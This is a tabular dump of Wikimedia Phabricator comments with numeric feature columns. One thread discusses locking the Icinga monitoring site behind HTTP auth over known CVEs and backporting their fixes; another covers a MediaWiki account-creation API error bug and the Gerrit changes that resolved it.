> IIRC, it could also be fixed by upgrading `neon` (?) to Trusty

Yep, neon is the icinga host.",,,1432987028,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.9166666666666666,"QUOTE
QUOTE

Yep, neon is the icinga host."
422739,Icinga has httpauth on (not accessible for public),"IIRC, it could also be fixed by upgrading `neon` (?) to Trusty, and as those upgrades always seem imminent and I think they have more value than shepherding those patches back to Ubuntu Precise, I didn't spend any time on the latter as testing them for upstream is too complex in my setup.",,,1425762408,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-17,True,2.0,0.0,0.0,2.0,2.0,8.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,2.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,12.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,15.0,7.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,3.9166666666666665,0.8833333333333333,"IIRC, it could also be fixed by upgrading CODE (?) to Trusty, and as those upgrades always seem imminent and I think they have more value than shepherding those patches back to Ubuntu Precise, I didn't spend any time on the latter as testing them for upstream is too complex in my setup."
392746,Icinga has httpauth on (not accessible for public),"this could get fixed also during the debian migration, I believe icinga jessie packages would do",,,1419438413,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.764705882352941,1.0,"this could get fixed also during the debian migration, I believe icinga jessie packages would do"
287437,Icinga has httpauth on (not accessible for public),"**ricky.wikitech** wrote:

Been a few months - any update here? Or anything I (as a community member) can do to help with moving this along? :)",,,1409569546,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,False,,,-44,True,6.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,11.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.3055555555555554,0.8611111111111112,"**ricky.wikitech** wrote:

Been a few months - any update here? Or anything I (as a community member) can do to help with moving this along? :)"
287430,Icinga has httpauth on (not accessible for public),*argl*  Forgot to test it; now I see the bugs have expired.  I'll test it Real Soon Now(TM) and get back to you if there's anything unsurmountable.,,,1397738315,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-63,True,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,5.0,0.0,8.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,14.0,8.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.27027027027027,0.8108108108108109,*argl*  Forgot to test it; now I see the bugs have expired.  I'll test it Real Soon Now(TM) and get back to you if there's anything unsurmountable.
287426,Icinga has httpauth on (not accessible for public),"Hey Tim, have you contacted the Ubuntu security team? Anything we can do to help?",,,1397726199,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-63,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,11.0,6.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,"Hey Tim, have you contacted the Ubuntu security team? Anything we can do to help?"
287421,Icinga has httpauth on (not accessible for public),"No, I don't mind, but I need to test it first at least once :-).  I've asked petan for access to the Nagios project on Labs, will set up a new instance there and see if the package I baked works.

(Ceterum censeo Debian packaging esse delendam.  I simply love Fedora (and other RPM distros) for its cleanliness; on Debian I'm never sure what patches and files end up in the (source) package.)",,,1392382228,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,1.0,4.0,4.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,0.0,9.0,12.0,10.0,0.0,0.0,0.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.4516129032258065,0.7311827956989247,"No, I don't mind, but I need to test it first at least once :-).  I've asked petan for access to the Nagios project on Labs, will set up a new instance there and see if the package I baked works.

(Ceterum censeo Debian packaging esse delendam.  I simply love Fedora (and other RPM distros) for its cleanliness; on Debian I'm never sure what patches and files end up in the (source) package.)"
287414,Icinga has httpauth on (not accessible for public),"Hey, that's good stuff! Thanks! Would you mind terribly contacting the Ubuntu security team to offer these code backports? Their usual response is ""you're on your own"", but if you attach code they might treat it differently, who knows :)",,,1392381395,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,2.0,2.0,6.0,0.0,2.0,4.0,0.0,6.0,2.0,0.0,0.0,14.0,6.0,2.0,2.0,4.0,0.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.96,0.86,"Hey, that's good stuff! Thanks! Would you mind terribly contacting the Ubuntu security team to offer these code backports? Their usual response is ""you're on your own"", but if you attach code they might treat it differently, who knows :)"
287408,Icinga has httpauth on (not accessible for public),"Created attachment 14588
Backport fix for CVE-2013-7107.

**Attached**: {F13069}",,,1392376192,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.8571428571428571,"Created attachment 14588
Backport fix for CVE-2013-7107.

**Attached**: {F13069}"
287402,Icinga has httpauth on (not accessible for public),"Created attachment 14587
Backport fix for CVE-2013-7108.

**Attached**: {F13068}",,,1392372445,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.8571428571428571,"Created attachment 14587
Backport fix for CVE-2013-7108.

**Attached**: {F13068}"
287396,Icinga has httpauth on (not accessible for public),"Created attachment 14586
Backport fix for CVE-2013-7106.

**Attached**: {F13067}",,,1392372366,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.8571428571428571,"Created attachment 14586
Backport fix for CVE-2013-7106.

**Attached**: {F13067}"
287388,Icinga has httpauth on (not accessible for public),"Yes, there are security issues with Icinga that forced us to lock it down temporarily back in December 12th.

These are CVE-2013-7106, CVE-2013-7107 & CVE-2013-7108. They are still unfixed in Ubuntu precise (LTS); Icinga is in the universe section, so the Ubuntu security team deals with them on a ""best effort"" basis (i.e. they might not even update it, at all).

The vulnerability status per Ubuntu distribution can be tracked at:
http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7106.html
http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7107.html
http://people.canonical.com/~ubuntu-security/cve/2013/CVE-2013-7108.html
respectively. Note how they decided to ignore the first one (a CSRF), which shows IMHO a poor judgement from their part.

I don't think we can take the time to do a major Icinga version upgrade right now, nor to backport the fixes ourselves. Our current strategy is ""wait for Ubuntu"", but if anyone wants to help the backporting process (and optionally engage with the Ubuntu security team so others can benefit from that) that'd be awesome.",,,1392302482,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.5,0.5,0.0,0.5,1.0,4.0,1.5,0.0,0.0,0.5,2.0,1.0,0.0,0.0,0.5,2.5,0.5,6.5,11.0,0.5,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.5,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,2.5,0.5,4.0,0.0,0.5,0.0,0.0,0.0,7.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,6.0,3.5,12.5,2.0,2.0,7.5,0.0,0.0,0.0,0.0,7.0,0.5,2.5,0.0,6.0,11.0,9.0,0.0,2.0,0.0,6.0,0.0,2.0,2.0,1.5,0.0,0.0,0.5,0.5,3.8298969072164946,0.7422680412371134,"Yes, there are security issues with Icinga that forced us to lock it down temporarily back in December 12th.

These are CVE-2013-7106, CVE-2013-7107 & CVE-2013-7108. They are still unfixed in Ubuntu precise (LTS); Icinga is in the universe section, so the Ubuntu security team deals with them on a ""best effort"" basis (i.e. they might not even update it, at all).

The vulnerability status per Ubuntu distribution can be tracked at:
URL
URL
URL
respectively. Note how they decided to ignore the first one (a CSRF), which shows IMHO a poor judgement from their part.

I don't think we can take the time to do a major Icinga version upgrade right now, nor to backport the fixes ourselves. Our current strategy is ""wait for Ubuntu"", but if anyone wants to help the backporting process (and optionally engage with the Ubuntu security team so others can benefit from that) that'd be awesome."
287380,Icinga has httpauth on (not accessible for public),Filed for ops as RT #6838,,,1392299635,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-72,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,1.0,Filed for ops as RT #6838
287371,Icinga has httpauth on (not accessible for public),"(In reply to comment #4)
> Ok. So we used to have Nagios which anyone could have a look at to see what's
> wrong. Someone decided to switch to another tool (Icinga). Now it turns out
> that that tool has security issues and public access got disabled? Way to
> go.....

IIRC nagois had security issues as well.",,,1391556588,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.76,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

IIRC nagois had security issues as well."
287362,Icinga has httpauth on (not accessible for public),"It's been so since December. Originally I understood it was a matter of days...

2013-12-20 12.31 < whym> icinga.wikimedia.org now requirs authorization from me.  Is this how it's intended to be?
2013-12-20 12.39 < paravoid> whym: there are a couple of security vulnerabilities for icinga in the wild, so we've temporarily locked public access

https://gerrit.wikimedia.org/r/#/c/100989/",,,1391446556,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,4.0,0.0,6.0,10.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,8.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,0.0,8.0,10.0,4.0,1.0,0.0,0.0,8.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,4.0,3.8076923076923075,0.7948717948717948,"It's been so since December. Originally I understood it was a matter of days...

2013-12-20 12.31 < whym> icinga.wikimedia.org now requirs authorization from me.  Is this how it's intended to be?
2013-12-20 12.39 < paravoid> whym: there are a couple of security vulnerabilities for icinga in the wild, so we've temporarily locked public access

URL"
287353,Icinga has httpauth on (not accessible for public),Ok. So we used to have Nagios which anyone could have a look at to see what's wrong. Someone decided to switch to another tool (Icinga). Now it turns out that that tool has security issues and public access got disabled? Way to go.....,,,1391428030,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-74,True,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,15.0,4.0,8.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,4.0,15.0,4.0,2.0,0.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,0.8269230769230769,Ok. So we used to have Nagios which anyone could have a look at to see what's wrong. Someone decided to switch to another tool (Icinga). Now it turns out that that tool has security issues and public access got disabled? Way to go.....
287345,Icinga has httpauth on (not accessible for public),"RobH said in #wikimedia-operations that ""there are security issues with icinga iirc"".",,,1390449927,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.111111111111111,0.9444444444444444,"RobH said in #wikimedia-operations that ""there are security issues with icinga iirc""."
287338,Icinga has httpauth on (not accessible for public),"(In reply to comment #1)
yep, logging in with wikitech-acc doesn't work for me.

Basically all I expect as answer here is a information why it currently on and when it is expected to be disabled again.
(icinga is on neon and this has nothing to do with graphite's apparently pending security review, right? bug 54713#c5)",,,1389835091,,PHID-USER-jcypqodpdpbcicgwgh7j,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-76,True,1.0,0.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,12.0,15.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,5.0,4.0,3.0,3.0,4.0,0.0,0.0,0.0,1.0,5.0,1.0,3.0,0.0,5.0,15.0,4.0,1.0,0.0,0.0,5.0,0.0,3.0,1.0,1.0,3.0,0.0,0.0,0.0,3.671232876712329,0.821917808219178,"(In reply to comment #1)
yep, logging in with wikitech-acc doesn't work for me.

Basically all I expect as answer here is a information why it currently on and when it is expected to be disabled again.
(icinga is on neon and this has nothing to do with graphite's apparently pending security review, right? bug 54713#c5)"
287331,Icinga has httpauth on (not accessible for public),"Logging in works for me with my a Labs / wikitech.wikimedia.org account, but that might just be because I'm in a specific LDAP group, like bug 54713.",,,1389831588,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u4soyvplokhywk7dypsl,task_subcomment,,True,c3,1,True,,,-76,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,19.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,3.967741935483871,0.9032258064516129,"Logging in works for me with my a Labs / wikitech.wikimedia.org account, but that might just be because I'm in a specific LDAP group, like bug 54713."
62008,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Gerrit change 17952 changed Special:UserLogin to return a Status object from the account creation function, passing it a RawMessage which breaks the expectation of the API's dieStatus method that it can get a sane key from the message object's getKey method.

But then Gerrit change 47821 broke things worse by changing Special:UserLogin to pass a raw string rather than a Message object or message key as Status::newFatal expects.

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1389634920,1391534698.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_description,resolved,True,c3,1,True,False,True,-77,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,15.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,9.0,8.0,0.0,0.0,0.0,2.0,0.0,1.0,5.0,0.0,2.0,1.0,0.0,0.0,4.5,0.65625,"Gerrit change 17952 changed Special:UserLogin to return a Status object from the account creation function, passing it a RawMessage which breaks the expectation of the API's dieStatus method that it can get a sane key from the message object's getKey method.

But then Gerrit change 47821 broke things worse by changing Special:UserLogin to pass a raw string rather than a Message object or message key as Status::newFatal expects.

--------------------------
**Version**: 1.23.0
**Severity**: normal"
281907,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111113 merged by MaxSem:
Add Status outparam for AbortNewAccount hook to fix API error handling

https://gerrit.wikimedia.org/r/111113",,,1391470005,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 111113 merged by MaxSem:
Add Status outparam for AbortNewAccount hook to fix API error handling

GERRIT_URL"
281901,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111118 merged by jenkins-bot:
Update ConfirmEdit to return Status object on AbortNewAccount hook

https://gerrit.wikimedia.org/r/111118",,,1391469878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iaxgsj6ezhpsebgwzwht,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.15,1.0,"Change 111118 merged by jenkins-bot:
Update ConfirmEdit to return Status object on AbortNewAccount hook

GERRIT_URL"
281896,"Special:UserLogin calls Status::newFatal incorrectly on account creation, generates odd API error codes","Change 111118 had a related patch set uploaded by MaxSem:
Update ConfirmEdit to return Status object on AbortNewAccount hook

